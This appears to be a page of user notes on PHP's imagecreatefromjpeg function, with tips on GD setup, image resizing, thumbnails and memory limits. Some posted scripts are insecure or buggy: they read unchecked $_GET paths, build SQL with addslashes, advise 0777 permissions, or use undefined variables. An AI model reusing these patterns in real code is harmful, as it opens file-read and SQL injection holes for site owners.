imagecreatefromjpeg (utf8_decode($pic));
?>
no hair left 30-Oct-2010 04:43
If you get the dreaded "Fatal error: Call to undefined function imagecreatefromjpeg()"  message, check that your GD library is working properly by to looking at the output of phpinfo().

You need to check explicitly for JPEG support in the output (gd section), otherwise the imagecreatefromjpeg function won't work.
juozaspo at gmail dot com 19-Oct-2010 02:58
There is my actual script to resize image without distortion to generate a thumbnail and/or show a smaller to browser.

<?php
// usual header used on my all pages
ob_start("ob_gzhandler");
$PHP_SELF=$_SERVER['PHP_SELF'];
include "include/errors.php"; //error log script

// actual script begins here
$type=false;
function open_image ($file) {
    //detect type and process accordinally
    global $type;
    $size=getimagesize($file);
    switch($size["mime"]){
        case "image/jpeg":
            $im = imagecreatefromjpeg($file); //jpeg file
        break;
        case "image/gif":
            $im = imagecreatefromgif($file); //gif file
      break;
      case "image/png":
          $im = imagecreatefrompng($file); //png file
      break;
    default:
        $im=false;
    break;
    }
    return $im;
}

$url = $_GET['url'];
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && (strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == filemtime($url))) {
  // send the last mod time of the file back
    header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($url)).' GMT', true, 304); //is it cached?
} else {

$image = open_image($url);

if ($image === false) { die ('Unable to open image'); }

$w = imagesx($image);
$h = imagesy($image);

//calculate new image dimensions (preserve aspect)
if(isset($_GET['w']) && !isset($_GET['h'])){
    $new_w=$_GET['w'];
    $new_h=$new_w * ($h/$w);
} elseif (isset($_GET['h']) && !isset($_GET['w'])) {
    $new_h=$_GET['h'];
    $new_w=$new_h * ($w/$h);
} else {
    $new_w=isset($_GET['w'])?$_GET['w']:560;
    $new_h=isset($_GET['h'])?$_GET['h']:560;
    if(($w/$h) > ($new_w/$new_h)){
        $new_h=$new_w*($h/$w);
    } else {
        $new_w=$new_h*($w/$h);
    }
}

$im2 = ImageCreateTrueColor($new_w, $new_h);
imagecopyResampled ($im2, $image, 0, 0, 0, 0, $new_w, $new_h, $w, $h);
//effects
if(isset($_GET['blur'])){
    $lv=$_GET['blur'];
    for($i=0; $i<$lv;$i++){
        $matrix=array(array(1,1,1),array(1,1,1),array(1,1,1));
        $divisor = 9;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}
if(isset($_GET['sharpen'])){
    $lv=$_GET['sharpen'];
    for($i=0; $i<$lv;$i++){
        $matrix = array(array(-1,-1,-1),array(-1,16,-1),array(-1,-1,-1));
        $divisor = 8;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}

header('Content-type: image/jpeg');
$name=explode(".", basename($_GET['url']));
header("Content-Disposition: inline; filename=".$name[0]."_t.jpg");
header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($url)) . ' GMT');
header("Cache-Control: public");
header("Pragma: public");
imagejpeg($im2);
//imagedestroy($im2);
//imagedestroy($image);
}

?>
Ray.Paseur sometimes uses Gmail 08-Oct-2010 03:19
If you have a blank in the file name, and you use a local URL, this function works.  Not so with a fully qualified URL

<?php
$url = 'RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// WORKS PERFECTLY

$url = 'http://www.example.com/RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// FAILS Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg: JPEG library reports unrecoverable error
?>
nico at anvilstudios dot co dot za 07-Sep-2010 12:41
I encountered a problem with this function on a windows system. Instead of returning false in case of the file not being a JPG, the function resulted in an error:
"imagecreatefromjpeg() : gd-jpeg : JPEG library reports unrecoverable error".

To get around this first check whether the file is a JPEG file using its mime type, if it is not return false.
brentwientjes at NOSPAM dot comcast dot net 16-Feb-2010 12:47
Last night I posted the following note under move_upload_file and looked tonight to see if it got into the system.  I happen to also pull up imagecreatefromjpeg and got reminded of many resize scripts in this section.  Unfortunately, my experience was not covered by most of the examples below because each of them assumed less than obvious requirements of the server and browser.  So here is the post again under this section to help others uncover the mystery in file uploading and resizing arbitrary sized images.  I have been testing for several days with hundreds of various size images and it seems to work well.  Many additional features could be added such as transparency, alpha blending, camera specific knowledge, more error checking.  Best of luck.

---  from move_upload_file post ---

I have for a couple of years been stymed to understand how to effectively load images (of more than 2MB) and then create thumbnails.  My note below on general file uploading was an early hint of some of the system default limitations and I have recently discovered the final limit  I offer this as an example of the various missing pieces of information to successfully load images of more than 2MB and then create thumbnails.  This particular example assumes a picture of a user is being uploaded and because of browser caching needs a unique number at the end to make the browser load a new picture for review at the time of upload.  The overall calling program I am using is a Flex based application which calls this php file to upload user thumbnails.

The secret sauce is:

1.  adjust server memory size, file upload size, and post size
2.  convert image to standard formate (in this case jpg) and scale

The server may be adjusted with the .htaccess file or inline code.  This example has an .htaccess file with file upload size and post size and then inline code for dynamic system memory.

htaccess file:
php_value post_max_size 16M
php_value upload_max_filesize 6M

<?php
//  $img_base = base directory structure for thumbnail images
//  $w_dst = maximum width of thumbnail
//  $h_dst = maximum height of thumbnail
//  $n_img = new thumbnail name
//  $o_img = old thumbnail name
function convertPic($img_base, $w_dst, $h_dst, $n_img, $o_img)
  {ini_set('memory_limit', '100M');   //  handle large images
   unlink($img_base.$n_img);         //  remove old images if present
   unlink($img_base.$o_img);
   $new_img = $img_base.$n_img;

   $file_src = $img_base."img.jpg";  //  temporary safe image storage
   unlink($file_src);
   move_uploaded_file($_FILES['Filedata']['tmp_name'], $file_src);

   list($w_src, $h_src, $type) = getimagesize($file_src);  // create new dimensions, keeping aspect ratio
   $ratio = $w_src/$h_src;
   if ($w_dst/$h_dst > $ratio) {$w_dst = floor($h_dst*$ratio);} else {$h_dst = floor($w_dst/$ratio);}

   switch ($type)
     {case 1:   //   gif -> jpg
        $img_src = imagecreatefromgif($file_src);
        break;
      case 2:   //   jpeg -> jpg
        $img_src = imagecreatefromjpeg($file_src);
        break;
      case 3:  //   png -> jpg
        $img_src = imagecreatefrompng($file_src);
        break;
     }
   $img_dst = imagecreatetruecolor($w_dst, $h_dst);  //  resample

   imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $w_dst, $h_dst, $w_src, $h_src);
   imagejpeg($img_dst, $new_img);    //  save new image

   unlink($file_src);  //  clean up image storage
   imagedestroy($img_src);
   imagedestroy($img_dst);
  }

$p_id = (Integer) $_POST[uid];
$ver = (Integer) $_POST[ver];
$delver = (Integer) $_POST[delver];
convertPic("your/file/structure/", 150, 150, "u".$p_id."v".$ver.".jpg", "u".$p_id."v".$delver.".jpg");

?>
v1d4l0k4 at gmail.com 08-Nov-2009 10:58
As of PHP 5.1.3, if you are dealing with corrupted JPEG images you should set the 'gd.jpeg_ignore_warning' directive to 1 to ignore warnings that could mess up your code.

In runtime, you should do this:

<?php

ini_set('gd.jpeg_ignore_warning', 1);

?>

Regards,
Paulo Ricardo
francesco@essensys 26-Mar-2009 05:13
I didn't find any example like this, so I mixed pieces together.. hope this will save time to other people!

Here's a complete solution to READ any image (gif jpg png) from the FILESYSTEM, SCALE it to a max width/height, SAVE the scaled image to a BLOB field keeping the original image type. Quite tricky..

<?php

function scaleImageFileToBlob($file) {

    $source_pic = $file;
    $max_width = 200;
    $max_height = 200;

    list($width, $height, $image_type) = getimagesize($file);

    switch ($image_type)
    {
        case 1: $src = imagecreatefromgif($file); break;
        case 2: $src = imagecreatefromjpeg($file);  break;
        case 3: $src = imagecreatefrompng($file); break;
        default: return '';  break;
    }

    $x_ratio = $max_width / $width;
    $y_ratio = $max_height / $height;

    if( ($width <= $max_width) && ($height <= $max_height) ){
        $tn_width = $width;
        $tn_height = $height;
        }elseif (($x_ratio * $height) < $max_height){
            $tn_height = ceil($x_ratio * $height);
            $tn_width = $max_width;
        }else{
            $tn_width = ceil($y_ratio * $width);
            $tn_height = $max_height;
    }

    $tmp = imagecreatetruecolor($tn_width,$tn_height);

    /* Check if this image is PNG or GIF to preserve its transparency */
    if(($image_type == 1) OR ($image_type==3))
    {
        imagealphablending($tmp, false);
        imagesavealpha($tmp,true);
        $transparent = imagecolorallocatealpha($tmp, 255, 255, 255, 127);
        imagefilledrectangle($tmp, 0, 0, $tn_width, $tn_height, $transparent);
    }
    imagecopyresampled($tmp,$src,0,0,0,0,$tn_width, $tn_height,$width,$height);

    /*
     * imageXXX() has only two options, save as a file, or send to the browser.
     * It does not provide you the oppurtunity to manipulate the final GIF/JPG/PNG file stream
     * So I start the output buffering, use imageXXX() to output the data stream to the browser,
     * get the contents of the stream, and use clean to silently discard the buffered contents.
     */
    ob_start();

    switch ($image_type)
    {
        case 1: imagegif($tmp); break;
        case 2: imagejpeg($tmp, NULL, 100);  break; // best quality
        case 3: imagepng($tmp, NULL, 0); break; // no compression
        default: echo ''; break;
    }

    $final_image = ob_get_contents();

    ob_end_clean();

    return $final_image;
}

?>

So, let's suppose you have a form where a user can upload an image, and you have to scale it and save it into your database.

<?php

    [..] // the user has clicked the Submit button..

    // Check if the user entered an image
    if ($_FILES['imagefile']['name'] != '') {
        $image = scaleImageFileToBlob($_FILES['imagefile']['tmp_name']);

        if ($image == '') {
            echo 'Image type not supported';
        } else {
            $image_type = $_FILES['imagefile']['type'];
            $image = addslashes($image);

            $query  = "UPDATE yourtable SET image_type='$image_type', image='$image' WHERE ...";
            $result = mysql_query($query);
            if ($result) {
               echo 'Image scaled and uploaded';
             } else {
               echo 'Error running the query';
             }
        }
    }

?>
gryfit dot slupsk at gmail dot com 27-Feb-2009 02:12
I found that:
imagecreatefromJPEG is for .JPEG and .JPG ending
&
imagecreatefromjpeg is for .jpeg and .jpg ending.

That function is case sensitive.
Ninjabear 25-Oct-2008 09:36
This code will allow you to resize any image (jpg, gif or png). It will even work with alpha transparency on pngs. It will limit both dimensions so that neither is higher than requested $thumb_width and preserve aspect ratio as well.

I searched for a very long time before finding this, I have made a few personal changes such as those listed above.

Credit goes to "vandai" on www.akemapa.com.

<?php
function resize($img, $thumb_width, $newfilename)
{
  $max_width=$thumb_width;

    //Check if GD extension is loaded
    if (!extension_loaded('gd') && !extension_loaded('gd2'))
    {
        trigger_error("GD is not loaded", E_USER_WARNING);
        return false;
    }

    //Get Image size info
    list($width_orig, $height_orig, $image_type) = getimagesize($img);

    switch ($image_type)
    {
        case 1: $im = imagecreatefromgif($img); break;
        case 2: $im = imagecreatefromjpeg($img);  break;
        case 3: $im = imagecreatefrompng($img); break;
        default:  trigger_error('Unsupported filetype!', E_USER_WARNING);  break;
    }

    /*** calculate the aspect ratio ***/
    $aspect_ratio = (float) $height_orig / $width_orig;

    /*** calulate the thumbnail width based on the height ***/
    $thumb_height = round($thumb_width * $aspect_ratio);

    while($thumb_height>$max_width)
    {
        $thumb_width-=10;
        $thumb_height = round($thumb_width * $aspect_ratio);
    }

    $newImg = imagecreatetruecolor($thumb_width, $thumb_height);

    /* Check if this image is PNG or GIF, then set if Transparent*/
    if(($image_type == 1) OR ($image_type==3))
    {
        imagealphablending($newImg, false);
        imagesavealpha($newImg,true);
        $transparent = imagecolorallocatealpha($newImg, 255, 255, 255, 127);
        imagefilledrectangle($newImg, 0, 0, $thumb_width, $thumb_height, $transparent);
    }
    imagecopyresampled($newImg, $im, 0, 0, 0, 0, $thumb_width, $thumb_height, $width_orig, $height_orig);

    //Generate the file, and rename it to $newfilename
    switch ($image_type)
    {
        case 1: imagegif($newImg,$newfilename); break;
        case 2: imagejpeg($newImg,$newfilename);  break;
        case 3: imagepng($newImg,$newfilename); break;
        default:  trigger_error('Failed resize image!', E_USER_WARNING);  break;
    }

    return $newfilename;
}

echo resize("test4.png", 120, "thumb_test4.png")

?>
webmaster [at] justuspics [tod] com 24-Jan-2008 05:47
Make a mental note, if it looks like your routine is crashing non-stop, double check to make sure you didn't spell the function like so...

imagecreatefromjpg  (should be jpeg)

I spent an entire night overlooking this one small detail. I love how php won't crash out with an error saying the function doesn't exist, but then again, that could be my host.

http://www.justuspics.com
dmhouse at gmail dot com 08-Aug-2007 03:37
For a script that allows you to calculate the "fudge factor" discussed below by Karolis and Yaroukh, try the following. Grab a few images, preferably some large ones (the script should cope with images of up to 10 megapixels or so), some small ones, and some ones in between. Add their filenames to the $images array, then load the script in your browser.

<?php

header('Content-Type: text/plain');

ini_set('memory_limit', '50M');

function format_size($size) {
  if ($size < 1024) {
    return $size . ' bytes';
  }
  else {
    $size = round($size / 1024, 2);
    $suffix = 'KB';
    if ($size >= 1024) {
      $size = round($size / 1024, 2);
      $suffix = 'MB';
    }
    return $size . ' ' . $suffix;
  }
}

$start_mem = memory_get_usage();

echo <<<INTRO
The memory required to load an image using imagecreatefromjpeg() is a function
of the image's dimensions and the images's bit depth, multipled by an overhead.
It can calculated from this formula:
Num bytes = Width * Height * Bytes per pixel * Overhead fudge factor
Where Bytes per pixel = Bit depth/8, or Bits per channel * Num channels / 8.
This script calculates the Overhead fudge factor by loading images of
various sizes.
INTRO;

echo "\n\n";

echo 'Limit: ' . ini_get('memory_limit') . "\n";
echo 'Usage before: ' . format_size($start_mem) . "\n";

// Place the images to load in the following array:
$images = array('image1.jpg', 'image2.jpg', 'image3.jpg');
$ffs = array();

echo "\n";

foreach ($images as $image) {
  $info = getimagesize($image);
  printf('Loading image %s, size %s * %s, bpp %s... ',
         $image, $info[0], $info[1], $info['bits']);
  $im = imagecreatefromjpeg($image);
  $mem = memory_get_usage();
  echo 'done' . "\n";
  echo 'Memory usage: ' . format_size($mem) . "\n";
  echo 'Difference: ' . format_size($mem - $start_mem) . "\n";
  $ff = (($mem - $start_mem) /
         ($info[0] * $info[1] * ($info['bits'] / 8) * $info['channels']));
  $ffs[] = $ff;
  echo 'Difference / (Width * Height * Bytes per pixel): ' . $ff . "\n";
  imagedestroy($im);
  $start_mem = memory_get_usage();
  echo 'Destroyed. Memory usage: ' . format_size($start_mem) . "\n";

  echo "\n";
}

echo 'Mean fudge factor: ' . (array_sum($ffs) / count($ffs));

?>
jhon at stockton dot com dot com 04-Jun-2007 01:02
// a function for resize the images(png,jpg,gif) in a directory
//for the png you must have the zlib actived

//$diror origin directory
//$dirdest destination directory
//$val value of resize(1,2,3..)
//$qual quality(80 if you don't know)

function imgres($diror,$dirdest,$val,$qual){
$q=$qual;
//open the directory
if (is_dir($diror)) {
   if ($dh = opendir($diror)) {
      while (($file = readdir($dh)) !== false) {
        if($file == "." || $file == ".."){continue;}
                 $k=explode(".",$file);
            if(strpos($k[1],"jpg")===0 || strpos($k[1],"jpeg")===0){
            $salva=$dirdest.$file;
                    $image=$diror.$file;
            $im =imagecreatefromjpeg("$image");
            $x=imagesx($im);
            $y=imagesy($im);
            $thumbnail=imagecreatetruecolor($x/$val,$y/$val);
            $im_ridimensionata=imagecopyresized( $thumbnail, $im, 0, 0, 0, 0, $x/$val,
            $y/$val, $x, $y);
            imagejpeg($thumbnail, $salva, $q);
                    }
            elseif(strpos($k[1],"gif")===0){
            $salva=$dirdest.$file;
                    $image=$diror.$file;
            $im =imagecreatefromgif("$image");
            $x=imagesx($im);
            $y=imagesy($im);
            $thumbnail=imagecreatetruecolor($x/$val,$y/$val);
            $im_ridimensionata=imagecopyresized( $thumbnail, $im, 0, 0, 0, 0, $x/$val,
            $y/$val, $x, $y);
            imagegif($thumbnail, $salva, $q);
                }
            elseif(strpos($k[1],"png")===0){
            $salva=$dirdest.$file;
                    $image=$diror.$file;
            $im =imagecreatefrompng("$image");
            $x=imagesx($im);
            $y=imagesy($im);
            $thumbnail=imagecreatetruecolor($x/$val,$y/$val);
            $im_ridimensionata=imagecopyresized( $thumbnail, $im, 0, 0, 0, 0, $x/$val,
            $y/$val, $x, $y);
            imagepng($thumbnail, $salva, $q);
                }
            else{
                echo "File not compatible(no jpg,gif or png)";
            }
            }
            closedir($dh);
            }
    }
}
huguowen at cn dot ibm dot com 16-May-2007 11:57
Tips for Windows User to Set up GD(dynamic graphic lib) with PHP.

Problem I meet:

When i run following function, which terminates at

$img = @imagecreatefromjpeg($image_path);

error message is : undefined function imagecreatefromjpeg();

no other code of the script gets executed.

Solution:

In one word, you need to turn on gd lib,
which hold the implementation of imagecreatefromjpeg();

please follow below steps:

my php install dir is: c:/php/
first you must try to find:
c:/php/php.ini
c:/php/ext/php_gd2.dll(php 5)
c:/php/extension/php_gd2.dll(php 4)

The php_gd2.dll is included in a standard PHP installation for Windows,
however, it's not enabled by default.
You have to turn it on,
You may simply uncomment the line "extension=php_gd2.dll" in php.ini and restart the PHP extension.

Change:
,extension=php_gd2.dll

To:
extension=php_gd2.dll

You may also have to correct the extension directory setting
from:
extension_dir = "./"
extension_dir = "./extensions"
To (FOR WINDOWS):
extension_dir = "c:/php/extensions"(php 4)
extension_dir = "c:/php/ext"(php 5)

Cheers!
sales at wholehogsoftware dot com 02-May-2007 09:10
I've found a bug in CentOS 4.x that, while previously addressed, does not seem to be directly addressed here as far as the nature of the bug is concerned.

If you are having a problem getting this function to work on CentOS 4.4 (may appear earlier) and are receiving this error:

Call to undefined function imagecreatefromjpeg()

This is because the installation *does* support JPG by default if you have libjpeg installed. However, the config script finds libjpeg in /usr/lib but it is never successfully added to the PHP build.

To fix this, you should recompile PHP and be absolutely sure to add '--with-jpeg-dir' to the config command. This should appear BEFORE the --with-gd option. Example:

'--with-jpeg-dir' '--with-gd'

If you don't put it before --with-gd, the option is completely ignored.

As always, be sure to do a 'make clean' before a 'make install'. I made the mistake of forgetting to check and wasted 30 minutes trying to resolve this problem simply because I forgot to clean up after myself previously.
hvozda at ack dot org 30-Oct-2006 03:42
If imagecreatefromjpeg() fails with "PHP Fatal error:  Call to undefined function:  imagecreatefromjpeg()", it does NOT necessarily mean that you don't have GD installed.

If phpinfo() shows GD, but not JPEG support, then that's the problem.  You would think that --with-gd would do the right thing since it does check for the existance of libjpeg (and finds it) and add that feature to GD, but it doesn't in v4.4.4 at least on RHEL v2.1, RHEL v3, CentOS v2.1 or CentOS v4.3.

On those platforms, it's *important* that --with-jpeg-dir be *before* --with-gd.  If it's not, GD won't build with jpeg support as if --with-jpeg-dir had never been specified...
info at daleconsulting dot com dot au 29-Aug-2006 06:34
In a post by Angel Leon, an example script was given that forms a thumbnail gallery using imagecreatefromjpeg.  I am fairly new to php scripts, but I found that the script did not display the table of thumbnail images if the row wasn't "filled" with images.. i.e. if there were 5 images in the folder and the script specified 3 rows in the table, then the page would only display the thumbnails for the first row and only three images were shown.  I found that if you specified the variable row with this equation, then the table would display properly:

$row = intval(count($files)+($row_size-1));

(This is the first line in the createThumbTable function.)
kapishonas at yahoo dot com 11-Jul-2006 04:56
script for nokia photos which end with FF D9 and still imagecreatefromjpeg() returns error.

<?php

error_reporting( 32 );
header( 'Content-Type: image/jpeg' );

$imgPath = 'att.jpg';

// Atdod atpakaļ GD_ImageResource
function imageCreateFromJpegEx($file)
{
    $data = file_get_contents($file);
    $im = @imagecreatefromstring($data);
    $i = 0;
    while (!$im)
    {
        $data = substr_replace($data, "", -3, -2);
        $im = @imagecreatefromstring($data);
    }
    return $im;
}

$im = imageCreateFromJpegEx($imgPath);
imagejpeg( $im );

?>

script by Delfins in latvian php forums
05-Jun-2006 10:42
regarding e dot a dot schultz at gmail dot com post

i tried the script (with the bugfixes posted later) and still got memorytrouble. most often it is still not enough memory to upload big images, even if it seems to calculate right. so this helped my perfectly:

$newLimit = $newLimit+3000000; (before passing it to the ini_set() function).

extremly simple and maybe not the best solution, but it works for now (you sure can give it less than an additional 3mb, just try what works for you).
ben dot lancaster at design-ontap dot co dot uk 24-May-2006 05:21
It is worth noting that all of the imagecreate* functions quite intentionally do not look in the include_path
anatol at nugob dot org 04-May-2006 10:59
When working with uploaded jpeg files it is usually a good idea to execute a little but very useful program called jhead
( http://www.sentex.net/~mwandel/jhead/ ).

This will clean up unnecessary jpeg header information which can cause trouble. Some cameras or applications write binary data into the headers which may result in ugly results such as strange colors when you resample the image later on.

Usage:
<?php
exec("/path/to/jhead -purejpg /path/to/image");
// for example when you uploaded a file through a form, do this before you proceed:
exec("/path/to/jhead -purejpg ".$file['tmp_name']);
?>

I didn't have the chance to test this but I guess this might even solve the problem caused by images that were taken with Canon PowerShot cameras which crash PHP.

This is from the jhead documentation: "-purejpg: Delete all JPEG sections that aren't necessary for rendering the image. Strips any metadata that various applications may have left in the image."

jhead got some other useful options as well...
webmaster at killer dot com dot ar 25-Apr-2006 01:16
The prior script by "e dot a dot schultz at gmail dot com", have a bug

$memoryLimitMB don't have a value

Add
         $memoryLimitMB = 8;
Before
          $memoryLimit = 8 * $MB;
And change that line for:
          $memoryLimit = $memoryLimitMB * $MB;

--------------

Something similar happens with the script by "JohnBrook at pobox dot com"

$memoryLimit don't have a value

Change:

$memoryLimit = $memoryLimit * $MB;

For:
  $memoryLimit = $memoryLimitMB * $MB;
e dot a dot schultz at gmail dot com 08-Apr-2006 04:35
In John's human readable code version of Karolis code to dynimicly allocate need memory there are a few bugs. If you didn't compile with the "--enable-memory-limit" option, this script will error with a level E_ERROR. Bellow is a fixed version rapped as a function. To view replacement functions for memory_get_usage() look at http://us2.php.net/manual/en/function.memory-get-usage.php

<?php
function setMemoryForImage( $filename ){
    $imageInfo = getimagesize($filename);
    $MB = 1048576;  // number of bytes in 1M
    $K64 = 65536;    // number of bytes in 64K
    $TWEAKFACTOR = 1.5;  // Or whatever works for you
    $memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                           * $imageInfo['bits']
                                           * $imageInfo['channels'] / 8
                             + $K64
                           ) * $TWEAKFACTOR
                         );
    //ini_get('memory_limit') only works if compiled with "--enable-memory-limit" also
    //Default memory limit is 8MB so well stick with that.
    //To find out what yours is, view your php.ini file.
    $memoryLimit = 8 * $MB;
    if (function_exists('memory_get_usage') &&
        memory_get_usage() + $memoryNeeded > $memoryLimit)
    {
        $newLimit = $memoryLimitMB + ceil( ( memory_get_usage()
                                            + $memoryNeeded
                                            - $memoryLimit
                                            ) / $MB
                                        );
        ini_set( 'memory_limit', $newLimit . 'M' );
        return true;
    }else
        return false;
    }
}
?>
Christoph Ziegenberg 13-Mar-2006 01:26
Matt reported that PHP crashs using imagecreatefromjpeg() - that's true and it took me a lot of time to find the error - but not only the Canon PowerShot S70, also the Canon PowerShot  A400 lets PHP (5.1.2) crash, without any chance to catch it!

So I exclude all Canon PowerShot images with the following check:

    function check_canonpowershot($filename)
    {
        if (strpos(file_get_contents($filename), 'Canon PowerShot') !== false)
        {
            return true;
        }
        return false;
    }
JohnBrook at pobox dot com 09-Feb-2006 07:14
Also, here is the same formula presented in a somewhat more human-readable way, if you'd rather:

<?php
$MB = Pow(1024,2);   // number of bytes in 1M
$K64 = Pow(2,16);    // number of bytes in 64K
$TWEAKFACTOR = 1.8;   // Or whatever works for you
$memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                        * $imageInfo['bits']
                                        * $imageInfo['channels'] / 8
                          + $K64
                        ) * $TWEAKFACTOR
                     );
$memoryHave = memory_get_usage();
$memoryLimitMB = (integer) ini_get('memory_limit');
$memoryLimit = $memoryLimit * $MB;

if ( function_exists('memory_get_usage')
     && $memoryHave + $memoryNeeded > $memoryLimit
   ) {
   $newLimit = $memoryLimitMB + ceil( ( $memoryHave
                                      + $memoryNeeded
                                      - $memoryLimit
                                      ) / $MB
                                    );
   ini_set( 'memory_limit', $newLimit . 'M' );
}
?>
JohnBrook at pobox dot com 09-Feb-2006 06:51
Additional note on allocating memory: The 1.65 in the formula provided below by yaroukh and Karolis is evidently a "fudge factor" arrived at through experimentation. I found that I had to nudge it up a little bit in order to accurately predict the memory that would be needed, otherwise the allocation still failed. In my case, I went right to 1.8 and that has worked so far. Your mileage may vary, so experiment as needed.
yaroukh at gmail dot com 09-Feb-2006 04:29
Hello Karolis

My solution was intended to solve situations when your webhoster puts a limit on the memory usage; in such a situations ini_set doesn't work ofcourse (even for variables that have 'PHP_INI_ALL' flag in a typical PHP-installation).

Have a nice day
  Yaroukh
Karolis Tamutis karolis.t_AT_gmail.com 30-Dec-2005 05:04
In addition to yaroukh at gmail dot com comment.

It seems that even a small image can eat up your default memory limit real quick. Config value 'memory_limit' is marked PHP_INI_ALL, so you can change it dynamically using ini_set. Therefore, we can "allocate memory dynamically", to prevent those memory limit exceeded errors.

<?php

$imageInfo = getimagesize('PATH/TO/YOUR/IMAGE');
$memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

if (function_exists('memory_get_usage') && memory_get_usage() + $memoryNeeded > (integer) ini_get('memory_limit') * pow(1024, 2)) {

    ini_set('memory_limit', (integer) ini_get('memory_limit') + ceil(((memory_get_usage() + $memoryNeeded) - (integer) ini_get('memory_limit') * pow(1024, 2)) / pow(1024, 2)) . 'M');

}

?>
Matt with imdllc.net 14-Sep-2005 12:10
In running 4.3. Found out that jpegs generated by Canon PowerShot S70's cause imagecreatefromjpeg() to crash PHP [page cannot be displayed]. Made this function to check for it:
<?php
function check_s70($filename) {
        $thereturn = false;
        $handle = fopen($filename, "r");
        $contents = fread($handle, 159);
        fclose($handle);
        if (substr($contents, 156, 3) == "S70") {
            $thereturn = true;
        }
        return $thereturn;
    }
?>
yaroukh at gmail dot com 21-Aug-2005 04:15
Estimated memory needed for ImageCreateFromJPEG

First I supposed simple width*height*bpp will be enough, it isn't though; there is some pretty big overhead.

$imageInfo = GetImageSize($imageFilename);
$memoryNeeded = Round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

With memory_limit enabled running out of memory causes script to crash; above written will tel you how much memory you're gonna need for creating an image-resource out of image-file. So in conjunction with Memory_Get_Usage() and Get_CFG_Var('memory_limit') you can avoid the mentioned ending. (Yet there won't be too many images blocked from processing that would still fit in the memory, as the results of this are pretty accurate.)
rich at launchcode dot co dot uk 02-Aug-2005 06:54
If you get this error: "Warning: imagecreatefromjpeg(): gd-jpeg: JPEG library reports unrecoverable error" then check the JPEG files. If they are saved in CMYK format (instead of RGB) then GD will fail to load them (tested with GD 2.0.12)
elyoukey at hotmail dot com 02-Aug-2005 12:31
here is a code, inspired by the button of
tl at comvironment dot com

but here, you can make as many buttons as you need by cutting the image in as many parts as defined in the table

<?php
class Button_Array{
    var $tab_button = array();// the text of each button you want to create
    var $im;//the image file

    function Button_Array($fileName, $tab_string){
        $this -> tab_button = $tab_string;
        $this -> im = $fileName;

        //parameters
        $font  = 10;

        //cut the full image in X parts
        //X = the number of buttons you want
         $imgFull=ImageCreateFromJPEG($this -> im);
         list($width, $heightFull, $type, $attr) = getimagesize($this -> im);

         $height = round($heightFull/sizeof($this->tab_button),0);

        for ($i=0;$i<sizeof($this->tab_button);$i++ ) {

            $pos=$i*$height;

            $imgParts[$i]=ImageCreateTrueColor($width,$height);
            if(imagecopy($imgParts[$i],$imgFull,0,0,0,$pos,$width,$height)){

                //manips
                $textColor = imagecolorallocate ($imgParts[$i],0,20,90);
                ImageString ($imgParts[$i],$font,200,10,$this->tab_button[$i],$textColor);

                //cr�ation du fichier
                ImageJPEG($imgParts[$i] , $this->tab_button[$i].'.jpg',85);
            }
        }
    }
}

$tab[]="topic1";
$tab[]="topic2";
$tab[]="topic3";
$tab[]="topic4";
$tab[]="more topics";

$tabButton=new Button_Array("a.jpg",$tab);

echo "<table border=0 cellspacing=0 cellpadding=0>";
foreach ($tab as $source) {
    echo "<tr><td><img src='$source.jpg'></td></tr>";
}
echo "</table>";

?>
miczimbett at gmail dot com 31-Jul-2005 05:30
the check_jpeg function listed above has a small "bug" when u set $fix=true... after the fix, the function does not close the file... and the imagecreatefromjpeg would still crash on an open file.

    //# [070203]
    //# check for jpeg file header and footer - also try to fix it
    function check_jpeg($f, $fix=false ){
        if ( false !== (@$fd = fopen($f, 'r+b' )) ){
            if (fread($fd,2)==chr(255).chr(216) ){
                fseek ( $fd, -2, SEEK_END );
                if ( fread($fd,2)==chr(255).chr(217) ){
                    fclose($fd);
                    return true;
                }else{
                    if ($fix && fwrite($fd,chr(255).chr(217)) ){
                        fclose($fd);
                        return true;
                    }
                    fclose($fd);
                    return false;
                }
            } else {
                fclose($fd);
                return false;
            }
        } else {
            return false;
        }
    }
linus at flowingcreativity dot net 29-May-2005 09:20
I am using PHP 4.3.8 and GD 2.0.23-compatible, and this function does not return an empty string on failure as stated. This line:

<?php
var_dump(imagecreatefromjpeg('bogus filename'));
?>

outputs:

bool(false)

Of course this doesn't matter unless you're using a strict comparison operator to evaluate the result, but I thought I'd point it out.
Zap 14-Apr-2005 07:14
Under some configurations imagecreatefromjpeg will create files that are owned by the webserver rather than the php user. For example, php may be run as phpuser and the image will be created under apache.

This can lead to permissions problems - only a +0777 will be enough to be able to create a picture.

My solution was to chmod over ftp to 0777 just before the picture is written then change back to 0755 when the image has been created.

The alternative of course would be to have a properly configured system...
Angel Leon 31-Mar-2005 06:13
This is a very useful script when you have hundreds of images and you need a quick setup for a thumbnail, where you can select how many
pictures per row, size of the thumbnail, and the size of the pictures when clicked, all in one script. Just throw all your images and this script in a file named index.php or index.html (if your apache httpd.conf defaults to html and runs .html as php).

Script also contains simple text watermarking. See function thumbImage()
and modify to add image watermarking if you like.

<?
// 30 Minutes Thumbnail script written by Angel Leon from wedoit4you.com
// Licensed under the GPL
// Courtesy of wedoit4you.com

//Instructions:
//copy this script wherever you have a bunch of .jpgs
// Invoke your thumbnail like this http://mysite.com/imageFolder/index.php
//where index.php is this script.

//Modify and redistribute but don't remove our trademark.

//configure script here

//pictures per row
$row_size = 3;

//height of the pictures in thumbnail
$thumb_height = 200;

//height of the pictures when clicked (to save bandwidth)
$big_image_height=668;

//short name of your site
$waterMark = "mysite.com";

$dh = opendir(".");
$files = array();
while (($file = readdir($dh)) !== false) {
